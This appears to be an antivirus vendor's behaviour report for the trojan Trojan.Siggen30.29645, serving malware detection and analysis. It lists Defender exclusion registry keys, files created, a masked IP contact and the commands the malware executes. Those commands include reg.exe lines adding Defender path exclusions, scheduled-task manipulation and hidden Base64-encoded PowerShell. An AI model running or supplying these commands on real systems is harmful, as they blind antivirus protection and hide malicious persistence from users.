Trojan.Siggen30.29645

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\gawquypvu

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Defender

adds antivirus exclusion with following registry keys:

[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\BXHLADKRpyUn' = '0'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\BXHLADKRpyUn' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\BXHLADKRpyUn' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\CWgvmRVtCetEOwewmfR' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\lmhcOYfquntU2' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\lmhcOYfquntU2' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\CWgvmRVtCetEOwewmfR' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\nNodIAalhthuC' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\xSXiElQxU' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\tFlhdEuoaaQikyVB' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\xSXiElQxU' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\EZZoaRYBwWohqzReJ' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\nNodIAalhthuC' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\tFlhdEuoaaQikyVB' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\EZZoaRYBwWohqzReJ' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\tFlhdEuoaaQikyVB' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\xSXiElQxU' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\lmhcOYfquntU2' = '0'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\nNodIAalhthuC' = '0'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\xSXiElQxU' = '0'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\tFlhdEuoaaQikyVB' = '0'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '0'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\EZZoaRYBwWohqzReJ' = '0'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\CWgvmRVtCetEOwewmfR' = '0'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\EMTCAkPHwvkKowaA' = '0'
[HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\EMTCAkPHwvkKowaA' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\EMTCAkPHwvkKowaA' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\BXHLADKRpyUn' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\CWgvmRVtCetEOwewmfR' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\nNodIAalhthuC' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\lmhcOYfquntU2' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\EMTCAkPHwvkKowaA' = '00000000'
[HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
[HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\EZZoaRYBwWohqzReJ' = '00000000'

Launches a large number of processes

Modifies file system

Creates the following files

<SYSTEM32>\grouppolicy\machine\registry.pol
<SYSTEM32>\grouppolicy\gpt.ini
%ALLUSERSPROFILE%\ntuser.pol
%HOMEPATH%\ntuser.pol
%WINDIR%\temp\emtcakphwvkkowaa\aoajzzbx\cwnkhtntrrvvoiwq.wsf

Deletes the following files

<SYSTEM32>\tasks\gawquypvu
%WINDIR%\temp\emtcakphwvkkowaa\aoajzzbx\cwnkhtntrrvvoiwq.wsf

Network activity

Connects to

'34.##9.100.209':443

TCP

Other

'34.##9.100.209':443

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\wscript.exe' "%WINDIR%\Temp\EMTCAkPHwvkKowaA\AoAjZZbX\cwnkHtnTrrVvOiWq.wsf"

Executes the following

'%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gaWquyPvU" /SC once /ST 03:13:01 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "jPZbUoNJjiPCeXjFu"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "jPZbUoNJjiPCeXjFu2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "jPZbUoNJjiPCeXjFu2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "DTZQaxKToNkWTtEyJ"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "DTZQaxKToNkWTtEyJ"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "DTZQaxKToNkWTtEyJ2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "jPZbUoNJjiPCeXjFu"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "DTZQaxKToNkWTtEyJ2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "cafvczqAFgTZWrBEG"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "cafvczqAFgTZWrBEG2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "aTGgfZJgyQDprAoCX2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "cafvczqAFgTZWrBEG2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "eVwNQmUWNeRPBRetL"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "HtZuQRjmxIBVkzebl"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "cafvczqAFgTZWrBEG"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "TUftUHDCIhROCLdgp2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "TUftUHDCIhROCLdgp2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "aTGgfZJgyQDprAoCX2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "tkHILpQGjvYTTjDYC"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "tkHILpQGjvYTTjDYC2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "tkHILpQGjvYTTjDYC2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "kYWcyQkgdkwVUOgVR"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "eVwNQmUWNeRPBRetL2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "kYWcyQkgdkwVUOgVR"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "kYWcyQkgdkwVUOgVR2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "TGrAGykligkgQRAeK"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "TGrAGykligkgQRAeK"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "TGrAGykligkgQRAeK2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "TGrAGykligkgQRAeK2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "aTGgfZJgyQDprAoCX"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "kYWcyQkgdkwVUOgVR2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "eVwNQmUWNeRPBRetL"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "aTGgfZJgyQDprAoCX"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "zzaPtIRQUQGEfTTKX2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "MqtycJnTCarSaCBnU2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "OEWkgswgZIScdOYzJ"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "OEWkgswgZIScdOYzJ"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "XihPuWeUyNKadVnqn"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "XihPuWeUyNKadVnqn2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "XihPuWeUyNKadVnqn2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "xmtqziLIsjHMazmrk"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "xmtqziLIsjHMazmrk"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "xmtqziLIsjHMazmrk2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "xmtqziLIsjHMazmrk2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "ffmxKhdnJOuSQtEvN"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "ffmxKhdnJOuSQtEvN"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "ffmxKhdnJOuSQtEvN2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "ffmxKhdnJOuSQtEvN2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "HtZuQRjmxIBVkzebl"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "MqtycJnTCarSaCBnU"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "MqtycJnTCarSaCBnU"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "TUftUHDCIhROCLdgp"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "XihPuWeUyNKadVnqn"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "tkHILpQGjvYTTjDYC"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "MqtycJnTCarSaCBnU2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "oTYyWwTgtkMtNHtXR2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "OEWkgswgZIScdOYzJ2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "OEWkgswgZIScdOYzJ2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "UWfXIlKBEBeCUWDpG"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "UWfXIlKBEBeCUWDpG"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "UWfXIlKBEBeCUWDpG2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "UWfXIlKBEBeCUWDpG2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "gwtpMKiNbHaqIiyMT"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gwtpMKiNbHaqIiyMT"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "gwtpMKiNbHaqIiyMT2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gwtpMKiNbHaqIiyMT2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "oTYyWwTgtkMtNHtXR"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "oTYyWwTgtkMtNHtXR"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "oTYyWwTgtkMtNHtXR2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "zzaPtIRQUQGEfTTKX2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "TUftUHDCIhROCLdgp"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "zzaPtIRQUQGEfTTKX"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "eVwNQmUWNeRPBRetL2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "zzaPtIRQUQGEfTTKX"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "ZaclaKwYglWuzhquL2"
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\nNodIAalhthuC" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\xSXiElQxU" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\CWgvmRVtCetEOwewmfR" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\xSXiElQxU" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\tFlhdEuoaaQikyVB" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\nNodIAalhthuC" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\EZZoaRYBwWohqzReJ" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\BXHLADKRpyUn" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\tFlhdEuoaaQikyVB" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\BXHLADKRpyUn" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\CWgvmRVtCetEOwewmfR" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\BXHLADKRpyUn" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\EZZoaRYBwWohqzReJ" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\lmhcOYfquntU2" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\lmhcOYfquntU2" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\BXHLADKRpyUn" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gaWquyPvU"
'<SYSTEM32>\gpscript.exe' /RefreshSystemParam
'%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EMTCAkPHwvkKowaA" /t REG_DWORD /d 0 /reg:32
'<SYSTEM32>\svchost.exe' -k secsvcs
'<SYSTEM32>\taskeng.exe' {44AF6A45-6D02-41E1-A4C4-C6862679D07B} S-1-5-21-3691498038-2086406363-2140527554-1000:npegfmke\user:Interactive:[1]
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EMTCAkPHwvkKowaA" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EMTCAkPHwvkKowaA" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EMTCAkPHwvkKowaA" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EMTCAkPHwvkKowaA" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EMTCAkPHwvkKowaA" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EMTCAkPHwvkKowaA" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\schtasks.exe' /END /TN "ILPQJyzHmjVhGneFD2"
'%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EMTCAkPHwvkKowaA" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gaWquyPvU"
'%WINDIR%\syswow64\cmd.exe' /C copy nul "%WINDIR%\Temp\EMTCAkPHwvkKowaA\AoAjZZbX\cwnkHtnTrrVvOiWq.wsf"
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\lmhcOYfquntU2" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "ILPQJyzHmjVhGneFD2"
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\nNodIAalhthuC" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\xSXiElQxU" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\schtasks.exe' /END /TN "RxBLjtPjayeWpRCzC2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "RxBLjtPjayeWpRCzC2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "zEBPaaoHYWsKeJpxF"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "ZaclaKwYglWuzhquL2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "zEBPaaoHYWsKeJpxF"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "zEBPaaoHYWsKeJpxF2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "FmKrcldrxxHCTBFFS"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "FmKrcldrxxHCTBFFS"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "FmKrcldrxxHCTBFFS2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "FmKrcldrxxHCTBFFS2"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "ILPQJyzHmjVhGneFD"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "zEBPaaoHYWsKeJpxF2"
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\CWgvmRVtCetEOwewmfR" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "fsrJuBRCwXfIlvEcg2"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "ILPQJyzHmjVhGneFD"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "RxBLjtPjayeWpRCzC"
'<SYSTEM32>\gpupdate.exe' /force
'%WINDIR%\syswow64\schtasks.exe' /END /TN "RxBLjtPjayeWpRCzC"
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\lmhcOYfquntU2" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\xSXiElQxU" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\tFlhdEuoaaQikyVB" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\schtasks.exe' /END /TN "ZaclaKwYglWuzhquL"
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\tFlhdEuoaaQikyVB" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\EZZoaRYBwWohqzReJ" /t REG_DWORD /d 0 /reg:32
'<SYSTEM32>\raserver.exe' /offerraupdate
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\EZZoaRYBwWohqzReJ" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\schtasks.exe' /END /TN "fsrJuBRCwXfIlvEcg"
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "fsrJuBRCwXfIlvEcg"
'%WINDIR%\syswow64\schtasks.exe' /END /TN "fsrJuBRCwXfIlvEcg2"
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\schtasks.exe' /END /TN "HtZuQRjmxIBVkzebl2"
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\nNodIAalhthuC" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\CWgvmRVtCetEOwewmfR" /t REG_DWORD /d 0 /reg:64
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "ZaclaKwYglWuzhquL"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
'<SYSTEM32>\gpupdate.exe' /force' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==' (with hidden window)

Tecnologías

Términos

Formación y educación

Mitos

Technical Information

Curing recommendations

Free trial